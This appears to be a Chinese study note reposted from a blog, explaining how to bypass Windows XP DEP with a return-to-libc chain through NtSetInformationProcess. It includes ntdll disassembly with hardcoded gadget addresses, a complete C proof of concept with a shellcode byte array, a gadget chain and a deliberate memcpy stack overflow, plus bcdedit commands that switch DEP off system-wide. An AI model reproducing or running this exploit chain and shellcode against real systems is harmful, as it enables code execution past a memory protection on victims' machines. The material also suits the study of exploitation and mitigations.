Ret2Libc学习NtSetInformationProcess DEP

DEP简要说明  链接·········································


DEP设置标示在KPROCESS 结构中  XP 下

nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : [2] Uint4B
   +0x020 LdtDescriptor    : _KGDTENTRY
   +0x028 Int21Descriptor  : _KIDTENTRY
   +0x030 IopmOffset       : Uint2B
   +0x032 Iopl             : UChar
   +0x033 Unused           : UChar
   +0x034 ActiveProcessors : Uint4B
   +0x038 KernelTime       : Uint4B
   +0x03c UserTime         : Uint4B
   +0x040 ReadyListHead    : _LIST_ENTRY
   +0x048 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x04c VdmTrapcHandler  : Ptr32 Void
   +0x050 ThreadListHead   : _LIST_ENTRY
   +0x058 ProcessLock      : Uint4B
   +0x05c Affinity         : Uint4B
   +0x060 StackCount       : Uint2B
   +0x062 BasePriority     : Char
   +0x063 ThreadQuantum    : Char
   +0x064 AutoAlignment    : UChar
   +0x065 State            : UChar
   +0x066 ThreadSeed       : UChar
   +0x067 DisableBoost     : UChar
   +0x068 PowerState       : UChar
   +0x069 DisableQuantum   : UChar
   +0x06a IdealNode        : UChar
   +0x06b Flags            : _KEXECUTE_OPTIONS
   +0x06b ExecuteOptions   : UChar             //_KEXECUTE_OPTIONS
lkd> DT _KEXECUTE_OPTIONS
nt!_KEXECUTE_OPTIONS
   +0x000 ExecuteDisable   : Pos 0, 1 Bit       //DEP开启时置1
   +0x000 ExecuteEnable    : Pos 1, 1 Bit       //DEP关闭时置为1
   +0x000 DisableThunkEmulation : Pos 2, 1 Bit  //为了兼容ATL程序设置的
   +0x000 Permanent        : Pos 3, 1 Bit       //被置1后标示这些标志都不能再被修改
   +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
   +0x000 ImageDispatchEnable : Pos 5, 1 Bit
   +0x000 Spare            : Pos 6, 2 Bits
真正影响DEP状态是前两位  所以我们要将 _KEXECUTE_OPTIONS 的值置为0x02 二进制为 00000010  就可以将 ExecuteEnable 置为1


程序跳向非可执行代码上   DEP保护下溢出失败

Ret2libc (Return to libc) 原理  :   跳向一个已经存在的系统函数,DEP不会拦截 。

1) ZwSetInformationProcess函数将DEP关闭后再转入 shellcode执行

2)VirtualProtect 函数来将shellcode所在内存页设置为可执行,再转入shellcode执行

3)VirtualAlloc函数开辟一段具有执行权限的内存空间  然后  shellcode复制到这段内存中执行


发现一个技巧:

当我们想要在跳向返回地址之前  做一些小动作,比如 赋值eax,edx,ecx等等  可以将返回地址设置成    下面这种指令的地址

mov eax,1

retn

然后retn  又跳向 第一次返回地址的下面所指地址


这里说明一下Ret2libc的过程

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // ProcessHandle = -1
  ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
  &ExecuteFlags,         // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
  sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

如果一个进程的 Permanent位没用设置! 当它加载DLL时,对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP就会被关闭,为此微软设立了 LdrCheckNXCompatibility函数,当符合下面条件时DEP被关闭:

1  DLL受 SafeDisc 版权保护系统时
2  DLL包含有 .aspcak   .pcle   .sforce 等字节
3  Vista下面 DLL包含在 注册表  HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsDllNXOptions 键下边标示出不需要启动DEP的模块


(我们目的是jnz跳向 ZwSetInformationProcess 结束DEP保护) 用 OllyFindAddr插件中的Disable DEP 来搜索 下面的地址

7C93CD1F    E8 87FFFFFF     call ntdll.7C93CCAB
7C93CD24    3C 01           cmp al,0x1                      //我们设计跳向这里
7C93CD26    6A 02           push 0x2
7C93CD28    5E              pop esi
7C93CD29    0F84 DF290200   je ntdll.7C95F70E               //将esi 赋值给[ebp-0x44] 
7C93CD2F    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
7C93CD33    0F85 F89A0100   jnz ntdll.7C956831              //转向关闭DEP函数ZwSetInformationProcess
7C93CD39    FF75 08         push dword ptr ss:[ebp+0x8]
7C93CD3C    E8 36000000     call ntdll.7C93CD77             //这里没有执行,是检.aspack等检查
7C93CD41    84C0            test al,al
7C93CD43    0F85 E09A0100   jnz ntdll.7C956829
7C93CD49    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
7C93CD4D    0F85 DE9A0100   jnz ntdll.7C956831
7C93CD53    FF75 08         push dword ptr ss:[ebp+0x8]
7C93CD56    E8 A6000000     call ntdll.7C93CE01
7C93CD5B    84C0            test al,al
7C93CD5D    0F85 B3290200   jnz ntdll.7C95F716
这里是 ZwSetInformationProcess 函数

7C956831    6A 04           push 0x4
7C956833    8D45 FC         lea eax,dword ptr ss:[ebp-0x4]
7C956836    50              push eax
7C956837    6A 22           push 0x22
7C956839    6A FF           push -0x1
7C95683B    E8 4074FDFF     call ntdll.ZwSetInformationProcess
7C956840  ^ E9 2865FEFF     jmp ntdll.7C93CD6D
7C93CD6D    5E              pop esi
7C93CD6E    C9              leave
7C93CD6F    C2 0400         retn 0x4


那么  必须要  al 为1   并且   ebp可写 (后面要对它写)  并且必须增大ESP (因为有可能在最后retn  4   到错误位置哦)

1 先找 mov eax,0x1 ret   找到得到的地址拿去覆盖掉 函数返回地址

2 那么下面 执行 又返回到了   [esp] 这里是 shellcode 中返回地址下面的一个DWORD  也就是插件找到的第一个地址  LdrCheckNXCompatibility 函数的地址

3 然后执行到  je xxxxxx  里面要对 [ebp-0x4]赋值 那么我们就要 先于2步骤 修正EBP  寻找  push esp pop ebp retn 就可以将ebp定位到一个可写的位置,然后才写入2步骤的地址

4 执行关闭DEP函数后  到达 retn 0x4  就会发现入栈时的数据将shellcode弄坏了············  此时我们想要让ESP和EBP之间足够大,这样关闭DEP过程中的入栈操作就不会冲刷到EBO的范围了 我们用 retn 将ESP增加字节

5  那么上面写的顺序又不对了    先赋值 eax为1  然后  执行3步骤,然后执行4步骤,然后JMP ESP 去执行  ,最后shellcode 放入2步骤的  关闭DEP代码的起始地址

6 最后跳向 shellcode起始地址执行````````````````


关于   各个指令的搜索用   ···········插件完成就行了 

下面是演示 代码: 


#include <stdlib.h>    //XP SP3  OPTOUT VC++6.0 RELEASE版本   XP设置OPTOUT需要重启  禁止优化
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53"
"x68x64x61x30x23"
"x68x23x50x61x6E"
"x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"//168

"x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"x1dx99x95x7c"	//0x7c95991d  mav eax,1 retn
"x68xdcxecx77"	//77ECDC68   Found:PUSH ESP POP EBP RET 4 at 0x77ecdc68 修正EBP
"xAAxd4x92x7c"	//7C92D4AA   Found: RETN 28  at 0x7c92d4aa		增大ESP
"x33xbfx98x7c"	// at 0x7c98bf33     Module: ntdll.dll			JMP ESP
"x44xcdx93x7c"	//7C93CD44    ]      Module: ntdll.dll			Found:disable DEP

"xe9x33xffxff"	//堆栈上显示ffff33e9
"xffx90x00x00"	//堆栈上显示000090ff
//0012FEC4  ^E9 33FFFFFF     jmp 0012FDFC
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

DEP函数执行成功  返回0  若错误不成功返回错误码

如果 程序自身设置了  SetProcessDEPPolicy   就能用  NtSetInformationProcess 去关闭程序的DEP了

在命令行下执行命令“bcdedit /set nx alwaysoff”,重启系统后Windows 7的EDP就关闭了。

反之,如果要开启所有服务和应用程序的DEP,执行命令“bcdedit /set nx alwayson”就可以了





原文地址:https://www.cnblogs.com/zcc1414/p/3982491.html